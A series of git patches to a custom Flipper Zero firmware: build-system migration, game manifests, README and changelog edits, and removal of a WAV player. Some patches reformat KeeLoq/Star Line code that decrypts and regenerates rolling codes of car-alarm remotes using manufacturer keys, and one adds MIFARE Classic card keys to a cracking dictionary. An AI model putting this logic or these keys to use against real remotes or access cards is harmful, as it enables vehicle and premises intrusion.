SubGhzProtocolEncoderKeeloq instance * @return true On success */ -static bool - subghz_protocol_encoder_star_line_get_upload(SubGhzProtocolEncoderStarLine* instance, uint8_t btn) { +static bool subghz_protocol_encoder_star_line_get_upload( + SubGhzProtocolEncoderStarLine* instance, + uint8_t btn) { furi_assert(instance); //gen new key @@ -469,8 +475,7 @@ static uint8_t subghz_protocol_star_line_check_remote_controller_selector( uint64_t man_normal_learning; int res = 0; -if(strcmp(mfname, "") == 0) { - + if(strcmp(mfname, "") == 0) { for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { switch(manufacture_code->type) { @@ -486,7 +491,8 @@ if(strcmp(mfname, "") == 0) { case KEELOQ_LEARNING_NORMAL: // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 - man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + man_normal_learning = + subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -520,7 +526,8 @@ if(strcmp(mfname, "") == 0) { //########################### // Normal Learning // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 - man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + man_normal_learning = + subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { *manufacture_name = string_get_cstr(manufacture_code->name); @@ -540,83 +547,91 @@ if(strcmp(mfname, "") == 0) { break; } } - } else if (strcmp(mfname, "Unknown") == 0) { + } else if(strcmp(mfname, "Unknown") == 0) { return 1; } else { - for M_EACH(manufacture_code, *subghz_keystore_get_data(keystore), SubGhzKeyArray_t) { res = strcmp(string_get_cstr(manufacture_code->name), mfname); if(res == 0) { - switch(manufacture_code->type) { - case KEELOQ_LEARNING_SIMPLE: - // Simple Learning - decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - return 1; - } - break; - case KEELOQ_LEARNING_NORMAL: - // Normal Learning - // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 - man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); - if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - return 1; - } - break; - case KEELOQ_LEARNING_UNKNOWN: - // Simple Learning - decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); - if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 1; - return 1; - } - // Check for mirrored man - uint64_t man_rev = 0; - uint64_t man_rev_byte = 0; - for(uint8_t i = 0; i < 64; i += 8) { - man_rev_byte = (uint8_t)(manufacture_code->key >> i); - man_rev = man_rev | man_rev_byte << (56 - i); - } - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); - if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 1; - return 1; - } - //########################### - // Normal Learning - // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 - man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); - if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 2; - return 1; - } + switch(manufacture_code->type) { + case KEELOQ_LEARNING_SIMPLE: + // Simple Learning + decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + if(subghz_protocol_star_line_check_decrypt( + instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_NORMAL: + // Normal Learning + // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 + man_normal_learning = + subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); + if(subghz_protocol_star_line_check_decrypt( + instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + return 1; + } + break; + case KEELOQ_LEARNING_UNKNOWN: + // Simple Learning + decrypt = subghz_protocol_keeloq_common_decrypt(hop, manufacture_code->key); + if(subghz_protocol_star_line_check_decrypt( + instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 1; + return 1; + } + // Check for mirrored man + uint64_t man_rev = 0; + uint64_t man_rev_byte = 0; + for(uint8_t i = 0; i < 64; i += 8) { + man_rev_byte = (uint8_t)(manufacture_code->key >> i); + man_rev = man_rev | man_rev_byte << (56 - i); + } + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_rev); + if(subghz_protocol_star_line_check_decrypt( + instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 1; + return 1; + } + //########################### + // Normal Learning + // https://phreakerclub.com/forum/showpost.php?p=43557&postcount=37 + man_normal_learning = + subghz_protocol_keeloq_common_normal_learning(fix, manufacture_code->key); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); + if(subghz_protocol_star_line_check_decrypt( + instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 2; + return 1; + } - // Check for mirrored man - man_normal_learning = subghz_protocol_keeloq_common_normal_learning(fix, man_rev); - decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); - if(subghz_protocol_star_line_check_decrypt(instance, decrypt, btn, end_serial)) { - *manufacture_name = string_get_cstr(manufacture_code->name); - mfname = *manufacture_name; - kl_type = 2; - return 1; + // Check for mirrored man + man_normal_learning = + subghz_protocol_keeloq_common_normal_learning(fix, man_rev); + decrypt = subghz_protocol_keeloq_common_decrypt(hop, man_normal_learning); + if(subghz_protocol_star_line_check_decrypt( + instance, decrypt, btn, end_serial)) { + *manufacture_name = string_get_cstr(manufacture_code->name); + mfname = *manufacture_name; + kl_type = 2; + return 1; + } + break; } - break; } - } - } + } } *manufacture_name = "Unknown"; diff --git a/lib/toolbox/random_name.c b/lib/toolbox/random_name.c index 60cbaf826..0f50913b2 100644 --- a/lib/toolbox/random_name.c +++ b/lib/toolbox/random_name.c @@ -9,9 +9,14 @@ void set_random_name(char* name, uint8_t max_name_size) { FuriHalRtcDateTime datetime; furi_hal_rtc_get_datetime(&datetime); char strings[1][25]; - sprintf(strings[0], "%s%.4d%.2d%.2d%.2d%.2d", "s" - , datetime.year, datetime.month, datetime.day - , datetime.hour, datetime.minute - ); + sprintf( + strings[0], + "%s%.4d%.2d%.2d%.2d%.2d", + "s", + datetime.year, + datetime.month, + datetime.day, + datetime.hour, + datetime.minute); sniprintf(name, max_name_size, "%s", strings[0]); } From bccb80eeb86a6f5f6469952a0229e00b7bb2ac90 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Sat, 25 Jun 2022 09:59:32 +0300 Subject: [PATCH 340/461] edit template --- .github/pull_request_template.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md index 798be4b80..4bc69d8e6 100644 --- a/.github/pull_request_template.md +++ b/.github/pull_request_template.md @@ -8,6 +8,6 @@ # Checklist (For Reviewer) -- [ ] PR has description of feature/bug or link to Confluence/Jira task +- [ ] PR has description of feature/bug - [ ] Description contains actions to verify feature/bugfix - [ ] I've built this code, uploaded it to the device and verified feature/bugfix From 4acb555b17e51e6e5e02d77b0520828815efba64 Mon Sep 17 00:00:00 2001 From: TQMatvey <77576395+TQMatvey@users.noreply.github.com> Date: Sat, 25 Jun 2022 05:56:20 +0700 Subject: [PATCH 341/461] Update mf_classic_dict.nfc --- assets/resources/nfc/assets/mf_classic_dict.nfc | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index 2a8d197a7..89dd7df79 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -101,6 +101,10 @@ A00000000000 A053A292A4AF A94133013401 AAAAAAAAAAAA +# FOOD REPUBLIC +30C1DC9DD040 +A9B9C1D0E3F1 + # KEYFROMLADYADA.NET B00000000000 B127C6F41436 From a4ee04ecd463389be43dd03fcab69de2a22726ee Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sat, 25 Jun 2022 10:41:05 +0300 Subject: [PATCH 342/461] upd manifest & rm empty new line in mf-dict --- assets/resources/Manifest | 4 ++-- assets/resources/nfc/assets/mf_classic_dict.nfc | 1 - 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index e5306c916..bed866b2d 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1655232937 +T:1656142725 D:badusb D:dolphin D:infrared @@ -229,7 +229,7 @@ D:nfc/assets F:81dc04c7b181f94b644079a71476dff4:4742:nfc/assets/aid.nfc F:86efbebdf41bb6bf15cc51ef88f069d5:2565:nfc/assets/country_code.nfc F:41b4f08774249014cb8d3dffa5f5c07d:1757:nfc/assets/currency_code.nfc -F:4ce3728b7c76d6d73a1d41407cb2048b:50387:nfc/assets/mf_classic_dict.nfc +F:0a2f75982596b2dc0000364b8d6c38a9:50429:nfc/assets/mf_classic_dict.nfc D:subghz/assets F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes diff --git a/assets/resources/nfc/assets/mf_classic_dict.nfc b/assets/resources/nfc/assets/mf_classic_dict.nfc index 89dd7df79..fffc1d2e9 100644 --- a/assets/resources/nfc/assets/mf_classic_dict.nfc +++ b/assets/resources/nfc/assets/mf_classic_dict.nfc @@ -104,7 +104,6 @@ AAAAAAAAAAAA # FOOD REPUBLIC 30C1DC9DD040 A9B9C1D0E3F1 - # KEYFROMLADYADA.NET B00000000000 B127C6F41436 From 1c55a55ddd2f7c336d41520ce73de18ac365392f Mon Sep 17 00:00:00 2001 From: Eng1n33r <10697207+xMasterX@users.noreply.github.com> Date: Sun, 26 Jun 2022 20:57:29 +0300 Subject: [PATCH 343/461] adaptation to the new build system + fixes --- .drone.yml | 15 +- CHANGELOG.md | 5 +- ReadMe.md | 21 +- applications/arkanoid/application.fam | 10 + applications/arkanoid/arkanoid_game.c | 18 +- applications/clock_app/application.fam | 11 + applications/meta/application.fam | 24 +- applications/snake_game/application.fam | 5 +- .../spectrum_analyzer/application.fam | 11 + applications/subghz/subghz_setting.c | 11 +- applications/tetris_game/application.fam | 10 + applications/tictactoe_game/application.fam | 10 + applications/tictactoe_game/tictactoe_game.c | 4 +- applications/unirfremix/application.fam | 11 + applications/wav_player/wav_parser.c | 84 ----- applications/wav_player/wav_parser.h | 51 --- applications/wav_player/wav_player.c | 297 ------------------ applications/wav_player/wav_player_hal.c | 58 ---- applications/wav_player/wav_player_hal.h | 23 -- applications/wav_player/wav_player_view.c | 214 ------------- applications/wav_player/wav_player_view.h | 45 --- assets/resources/subghz/assets/setting_user | 34 +- fbt_options.py | 4 + lib/subghz/protocols/came_atomo.c | 1 + lib/toolbox/random_name.c | 51 ++- lib/toolbox/random_name.h | 2 +- scripts/version.py | 8 +- site_scons/fbt/appmanifest.py | 3 + 28 files changed, 173 insertions(+), 868 deletions(-) create mode 100644 applications/arkanoid/application.fam create mode 100644 applications/clock_app/application.fam create mode 100644 applications/spectrum_analyzer/application.fam create mode 100644 applications/tetris_game/application.fam create mode 100644 applications/tictactoe_game/application.fam create mode 100644 applications/unirfremix/application.fam delete mode 100644 applications/wav_player/wav_parser.c delete mode 100644 applications/wav_player/wav_parser.h delete mode 100644 applications/wav_player/wav_player.c delete mode 100644 applications/wav_player/wav_player_hal.c delete mode 100644 applications/wav_player/wav_player_hal.h delete mode 100644 applications/wav_player/wav_player_view.c delete mode 100644 applications/wav_player/wav_player_view.h diff --git a/.drone.yml b/.drone.yml index 6ca42f2cd..8347d8380 100644 --- a/.drone.yml +++ b/.drone.yml @@ -11,23 +11,15 @@ steps: - git submodule foreach git config --local gc.auto 0 - git log -1 --format='%H' -- name: 'Rebuild Assets' - image: hfdj/fztools - pull: never - commands: - - export DIST_SUFFIX=${DRONE_TAG} - - export WORKFLOW_BRANCH_OR_TAG=${DRONE_TAG} - - make assets_rebuild assets_manifest - - name: 'Build default fw' image: hfdj/fztools pull: never commands: - export DIST_SUFFIX=${DRONE_TAG} - - export WORKFLOW_BRANCH_OR_TAG=${DRONE_TAG} - - make updater_package TARGET=f7 DEBUG=0 COMPACT=1 + - export WORKFLOW_BRANCH_OR_TAG=dev-cfw + - ./fbt --with-updater COMPACT=1 DEBUG=0 updater_package - mkdir artifacts-default - - mv dist/f7/* artifacts-default/ + - mv dist/f7-C/* artifacts-default/ - ls -laS artifacts-default - ls -laS artifacts-default/f7-update-${DRONE_TAG} @@ -36,7 +28,6 @@ steps: commands: - tar czpf artifacts-default/flipper-z-any-resources-${DRONE_TAG}.tgz -C assets resources - mkdir sd-card - - mkdir -p sd-card/wav_player - mkdir -p sd-card/subghz/assets - mkdir -p sd-card/nfc/assets - cp assets/resources/subghz/assets/universal_rf_map sd-card/subghz/assets/universal_rf_map diff --git a/CHANGELOG.md b/CHANGELOG.md index 0e36b104b..1f41fbdfb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,10 +1,13 @@ ### New Update +* Merged latest ofw changes - scons build system +* Removed WAV Player - it's not bad as a concept but has a lot of problems +* Some small fixes +#### Previous changes * Spectrum Analyzer - show current mode on screen when changing modes * Spectrum Analyzer - Ultra Narrow mode * Desktop autolock more time options * Merged latest ofw dev changes: SubGhz: PowerSmart protocol, Infrared app fixes -#### Previous changes * Merged latest ofw dev changes: Infrared app C port, nfc: NTAG21x complete emulation, nfc: DESFire fixes SubGhz: frequency analyzer combined frequency detection method, etc... diff --git a/ReadMe.md b/ReadMe.md index ba2b43195..a2f7a5f9d 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -67,7 +67,7 @@ then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`** - And wait, if all flashed successfully - you can manually upload IR libs and other stuff to sd card -- If you doing install for first time or migrating from official fw, unpack 3 folders from archive `sd-card-(CURRENT VERSION).zip` onto your microSD card +- If you doing install for first time or migrating from official fw, unpack 2 folders from archive `sd-card-(CURRENT VERSION).zip` onto your microSD card
@@ -85,13 +85,13 @@ then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`** ### **Replace (CURRENT VERSION) with version that you downloaded from releases** 3. Run `dfu-util -D flipper-z-f7-full-(CURRENT VERSION).dfu -a 0` -4. If you doing install for first time or migrating from official fw, unpack 3 folders from archive `sd-card-(CURRENT VERSION).zip` to your microSD card +4. If you doing install for first time or migrating from official fw, unpack 2 folders from archive `sd-card-(CURRENT VERSION).zip` to your microSD card

# After install: -- ### If you installed using .dfu - unpack 3 folders from archive `sd-card-(CURRENT VERSION).zip` to your microSD card +- ### If you installed using .dfu - unpack 2 folders from archive `sd-card-(CURRENT VERSION).zip` to your microSD card
- ## [How To: Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md) @@ -128,13 +128,13 @@ $ git clone --recursive https://github.com/Eng1n33r/flipperzero-firmware.git ### Compile everything for development ```sh -docker-compose exec dev make +docker-compose exec dev ./fbt ``` ### Compile everything for release + get updater package to update from microSD card ```sh -docker-compose exec dev make updater_package TARGET=f7 DEBUG=0 COMPACT=1 +docker-compose exec dev ./fbt --with-updater COMPACT=1 DEBUG=0 updater_package ``` Check `dist/` for build outputs. @@ -145,6 +145,8 @@ If compilation fails, make sure all submodules are all initialized. Either clone # Build on macOS +Check out `documentation/fbt.md` for details on building and flashing firmware. + ## macOS Prerequisites Make sure you have [brew](https://brew.sh) and install all the dependencies: @@ -152,18 +154,18 @@ Make sure you have [brew](https://brew.sh) and install all the dependencies: brew bundle --verbose ``` -**P.S. Brewfile has been fixed, so build works now** +Install Python packages required by assets build scripts: `pip3 install -r scripts/requirements.txt` ### Compile everything for development ```sh -make +./fbt ``` ### Compile everything for release + get updater package to update from microSD card ```sh -make updater_package TARGET=f7 DEBUG=0 COMPACT=1 +./fbt --with-updater COMPACT=1 DEBUG=0 updater_package ``` Check `dist/` for build outputs. @@ -174,7 +176,6 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - [Clock/Stopwatch (By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) - [UniversalRF Remix (By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) -- [WAV Player (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) With Fix From [Atmanos](https://github.com/at-manos) - [Tetris (By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) - [Spectrum Analyzer (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) - [Ultra Narrow mode & scan channels non-consecutively](https://github.com/theY4Kman/flipperzero-firmware/commits?author=theY4Kman) - [Arkanoid (By gotnull)](https://github.com/gotnull/flipperzero-firmware-wPlugins) @@ -198,7 +199,7 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. - `documentation` - Documentation generation system configs and input files - `firmware` - Firmware source code - `lib` - Our and 3rd party libraries, drivers and etc... -- `make` - Make helpers +- `site_scons` - Build helpers - `scripts` - Supplementary scripts and python libraries home Also pay attention to `ReadMe.md` files inside of those directories. diff --git a/applications/arkanoid/application.fam b/applications/arkanoid/application.fam new file mode 100644 index 000000000..fc7aeee4a --- /dev/null +++ b/applications/arkanoid/application.fam @@ -0,0 +1,10 @@ +App( + appid="arkanoid_game", + name="Arkanoid", + apptype=FlipperAppType.GAME, + entry_point="arkanoid_game_app", + cdefines=["APP_ARKANOID_GAME"], + requires=["gui"], + stack_size=1 * 1024, + order=30, +) diff --git a/applications/arkanoid/arkanoid_game.c b/applications/arkanoid/arkanoid_game.c index 676b13a55..2896ff7a6 100644 --- a/applications/arkanoid/arkanoid_game.c +++ b/applications/arkanoid/arkanoid_game.c @@ -2,7 +2,6 @@ #include #include #include -#include #include #define TAG "Arkanoid" @@ -154,8 +153,8 @@ void move_ball(Canvas* canvas) { } //Bounce off Bricks - for(int row = 0; row < ROWS; row++) { - for(int column = 0; column < COLUMNS; column++) { + for(unsigned int row = 0; row < ROWS; row++) { + for(unsigned int column = 0; column < COLUMNS; column++) { if(!isHit[row][column]) { //Sets Brick bounds leftBrick = 10 * column; @@ -244,8 +243,8 @@ void reset_level(Canvas* canvas) { released = false; // Reset all brick hit states - for(int row = 0; row < ROWS; row++) { - for(int column = 0; column < COLUMNS; column++) { + for(unsigned int row = 0; row < ROWS; row++) { + for(unsigned int column = 0; column < COLUMNS; column++) { isHit[row][column] = false; } } @@ -277,8 +276,8 @@ static void arkanoid_draw_callback(Canvas* const canvas, void* ctx) { } //Draws new bricks and resets their values - for(int row = 0; row < ROWS; row++) { - for(int column = 0; column < COLUMNS; column++) { + for(unsigned int row = 0; row < ROWS; row++) { + for(unsigned int column = 0; column < COLUMNS; column++) { if(!isHit[row][column]) { canvas_draw_frame(canvas, 10 * column, 2 + 6 * row, 8, 4); } @@ -320,6 +319,10 @@ static void arkanoid_update_timer_callback(osMessageQueueId_t event_queue) { } int32_t arkanoid_game_app(void* p) { + UNUSED(p); + // Set random seed from interrupts + srand(DWT->CYCCNT); + osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(GameEvent), NULL); ArkanoidState* arkanoid_state = malloc(sizeof(ArkanoidState)); @@ -404,7 +407,6 @@ int32_t arkanoid_game_app(void* p) { furi_record_close("gui"); view_port_free(view_port); osMessageQueueDelete(event_queue); - furi_record_close("notification"); return 0; } \ No newline at end of file diff --git a/applications/clock_app/application.fam b/applications/clock_app/application.fam new file mode 100644 index 000000000..4f5c0067a --- /dev/null +++ b/applications/clock_app/application.fam @@ -0,0 +1,11 @@ +App( + appid="clock", + name="Clock", + apptype=FlipperAppType.APP, + entry_point="clock_app", + cdefines=["APP_CLOCK"], + requires=["gui"], + icon="A_Clock_14", + stack_size=2 * 1024, + order=9, +) diff --git a/applications/meta/application.fam b/applications/meta/application.fam index a447b94ae..7f7ee3120 100644 --- a/applications/meta/application.fam +++ b/applications/meta/application.fam @@ -35,7 +35,29 @@ App( apptype=FlipperAppType.METAPACKAGE, provides=[ "music_player", - "snake_game", "bt_hid", ], ) + +App( + appid="custom_games", + name="Custom applications for games menu", + apptype=FlipperAppType.METAPACKAGE, + provides=[ + "snake_game", + "tetris_game", + "arkanoid_game", + "tictactoe_game", + ], +) + +App( + appid="custom_apps", + name="Custom applications for main menu", + apptype=FlipperAppType.METAPACKAGE, + provides=[ + "clock", + "spectrum_analyzer", + "unirfremix", + ], +) \ No newline at end of file diff --git a/applications/snake_game/application.fam b/applications/snake_game/application.fam index 5d6ad5276..2a804fde0 100644 --- a/applications/snake_game/application.fam +++ b/applications/snake_game/application.fam @@ -1,11 +1,10 @@ App( appid="snake_game", name="Snake Game", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.GAME, entry_point="snake_game_app", cdefines=["APP_SNAKE_GAME"], requires=["gui"], stack_size=1 * 1024, - icon="A_Plugins_14", - order=30, + order=10, ) diff --git a/applications/spectrum_analyzer/application.fam b/applications/spectrum_analyzer/application.fam new file mode 100644 index 000000000..d10c5a6c8 --- /dev/null +++ b/applications/spectrum_analyzer/application.fam @@ -0,0 +1,11 @@ +App( + appid="spectrum_analyzer", + name="Spectrum Analyzer", + apptype=FlipperAppType.APP, + entry_point="spectrum_analyzer_app", + cdefines=["APP_SPECTRUM_ANALYZER"], + requires=["gui"], + icon="A_SpectrumAnalyzer_14", + stack_size=1 * 1024, + order=12, +) diff --git a/applications/subghz/subghz_setting.c b/applications/subghz/subghz_setting.c index 84dffc1c6..d7b17a068 100644 --- a/applications/subghz/subghz_setting.c +++ b/applications/subghz/subghz_setting.c @@ -17,35 +17,26 @@ static const uint32_t subghz_frequency_list[] = { /* 300 - 348 */ 300000000, - 302757000, /* FCC ID N6U303NTX */ 303875000, - 304250000, /* Ceiling Fan - Harbor Breeze*/ + 304250000, 310000000, - 313850000, /* 2007 Honda Key */ 315000000, 318000000, - 348000000, - 387000000, /* 387 - 464 */ 390000000, 418000000, 433075000, /* LPD433 first */ - 433220000, /* 2016-2020 Honda */ 433420000, - 433889000, /* ROGUE? */ 433920000 | FREQUENCY_FLAG_DEFAULT, /* LPD433 mid */ 434420000, 434775000, /* LPD433 last channels */ 438900000, - 464000000, /* 779 - 928 */ - 779000000, 868350000, 915000000, 925000000, - 928000000, 0, }; diff --git a/applications/tetris_game/application.fam b/applications/tetris_game/application.fam new file mode 100644 index 000000000..406e13eac --- /dev/null +++ b/applications/tetris_game/application.fam @@ -0,0 +1,10 @@ +App( + appid="tetris_game", + name="Tetris", + apptype=FlipperAppType.GAME, + entry_point="tetris_game_app", + cdefines=["APP_TETRIS_GAME"], + requires=["gui"], + stack_size=1 * 1024, + order=20, +) diff --git a/applications/tictactoe_game/application.fam b/applications/tictactoe_game/application.fam new file mode 100644 index 000000000..cf41a747b --- /dev/null +++ b/applications/tictactoe_game/application.fam @@ -0,0 +1,10 @@ +App( + appid="tictactoe_game", + name="Tic Tac Toe", + apptype=FlipperAppType.GAME, + entry_point="tictactoe_game_app", + cdefines=["APP_TICTACTOE_GAME"], + requires=["gui"], + stack_size=1 * 1024, + order=40, +) diff --git a/applications/tictactoe_game/tictactoe_game.c b/applications/tictactoe_game/tictactoe_game.c index d69684c1c..368e0042a 100644 --- a/applications/tictactoe_game/tictactoe_game.c +++ b/applications/tictactoe_game/tictactoe_game.c @@ -2,7 +2,6 @@ #include #include #include -#include #include #define TAG "TicTacToe" @@ -269,6 +268,7 @@ static void tictactoe_update_timer_callback(osMessageQueueId_t event_queue) { } int32_t tictactoe_game_app(void* p) { + UNUSED(p); osMessageQueueId_t event_queue = osMessageQueueNew(8, sizeof(GameEvent), NULL); TicTacToeState* tictactoe_state = malloc(sizeof(TicTacToeState)); @@ -277,6 +277,7 @@ int32_t tictactoe_game_app(void* p) { if(!init_mutex(&state_mutex, tictactoe_state, sizeof(TicTacToeState))) { FURI_LOG_E(TAG, "Cannot create mutex\r\n"); free(tictactoe_state); + osMessageQueueDelete(event_queue); return 255; } @@ -341,7 +342,6 @@ int32_t tictactoe_game_app(void* p) { furi_record_close("gui"); view_port_free(view_port); osMessageQueueDelete(event_queue); - furi_record_close("notification"); delete_mutex(&state_mutex); free(tictactoe_state); diff --git a/applications/unirfremix/application.fam b/applications/unirfremix/application.fam new file mode 100644 index 000000000..666e07d49 --- /dev/null +++ b/applications/unirfremix/application.fam @@ -0,0 +1,11 @@ +App( + appid="unirfremix", + name="UniRF Remix", + apptype=FlipperAppType.APP, + entry_point="unirfremix_app", + cdefines=["APP_UNIRFREMIX"], + requires=["gui"], + icon="A_UniRFRemix_14", + stack_size=2 * 1024, + order=11, +) diff --git a/applications/wav_player/wav_parser.c b/applications/wav_player/wav_parser.c deleted file mode 100644 index c2897706c..000000000 --- a/applications/wav_player/wav_parser.c +++ /dev/null @@ -1,84 +0,0 @@ -#include "wav_parser.h" - -#define TAG "WavParser" - -const char* format_text(FormatTag tag) { - switch(tag) { - case FormatTagPCM: - return "PCM"; - case FormatTagIEEE_FLOAT: - return "IEEE FLOAT"; - default: - return "Unknown"; - } -}; - -struct WavParser { - WavHeaderChunk header; - WavFormatChunk format; - WavDataChunk data; - size_t wav_data_start; - size_t wav_data_end; -}; - -WavParser* wav_parser_alloc() { - return malloc(sizeof(WavParser)); -} - -void wav_parser_free(WavParser* parser) { - free(parser); -} - -bool wav_parser_parse(WavParser* parser, Stream* stream) { - stream_read(stream, (uint8_t*)&parser->header, sizeof(WavHeaderChunk)); - stream_read(stream, (uint8_t*)&parser->format, sizeof(WavFormatChunk)); - stream_read(stream, (uint8_t*)&parser->data, sizeof(WavDataChunk)); - - if(memcmp(parser->header.riff, "RIFF", 4) != 0 || - memcmp(parser->header.wave, "WAVE", 4) != 0) { - FURI_LOG_E(TAG, "WAV: wrong header"); - return false; - } - - if(memcmp(parser->format.fmt, "fmt ", 4) != 0) { - FURI_LOG_E(TAG, "WAV: wrong format"); - return false; - } - - if(parser->format.tag != FormatTagPCM || memcmp(parser->data.data, "data", 4) != 0) { - FURI_LOG_E( - TAG, - "WAV: non-PCM format %u, next '%lu'", - parser->format.tag, - (uint32_t)parser->data.data); - return false; - } - - FURI_LOG_I( - TAG, - "Format tag: %s, ch: %u, smplrate: %lu, bps: %lu, bits: %u", - format_text(parser->format.tag), - parser->format.channels, - parser->format.sample_rate, - parser->format.byte_per_sec, - parser->format.bits_per_sample); - - parser->wav_data_start = stream_tell(stream); - parser->wav_data_end = parser->wav_data_start + parser->data.size; - - FURI_LOG_I(TAG, "data: %u - %u", parser->wav_data_start, parser->wav_data_end); - - return true; -} - -size_t wav_parser_get_data_start(WavParser* parser) { - return parser->wav_data_start; -} - -size_t wav_parser_get_data_end(WavParser* parser) { - return parser->wav_data_end; -} - -size_t wav_parser_get_data_len(WavParser* parser) { - return parser->wav_data_end - parser->wav_data_start; -} diff --git a/applications/wav_player/wav_parser.h b/applications/wav_player/wav_parser.h deleted file mode 100644 index f50c48b3f..000000000 --- a/applications/wav_player/wav_parser.h +++ /dev/null @@ -1,51 +0,0 @@ -#pragma once -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef enum { - FormatTagPCM = 0x0001, - FormatTagIEEE_FLOAT = 0x0003, -} FormatTag; - -typedef struct { - uint8_t riff[4]; - uint32_t size; - uint8_t wave[4]; -} WavHeaderChunk; - -typedef struct { - uint8_t fmt[4]; - uint32_t size; - uint16_t tag; - uint16_t channels; - uint32_t sample_rate; - uint32_t byte_per_sec; - uint16_t block_align; - uint16_t bits_per_sample; -} WavFormatChunk; - -typedef struct { - uint8_t data[4]; - uint32_t size; -} WavDataChunk; - -typedef struct WavParser WavParser; - -WavParser* wav_parser_alloc(); - -void wav_parser_free(WavParser* parser); - -bool wav_parser_parse(WavParser* parser, Stream* stream); - -size_t wav_parser_get_data_start(WavParser* parser); - -size_t wav_parser_get_data_end(WavParser* parser); - -size_t wav_parser_get_data_len(WavParser* parser); - -#ifdef __cplusplus -} -#endif \ No newline at end of file diff --git a/applications/wav_player/wav_player.c b/applications/wav_player/wav_player.c deleted file mode 100644 index 60a3490db..000000000 --- a/applications/wav_player/wav_player.c +++ /dev/null @@ -1,297 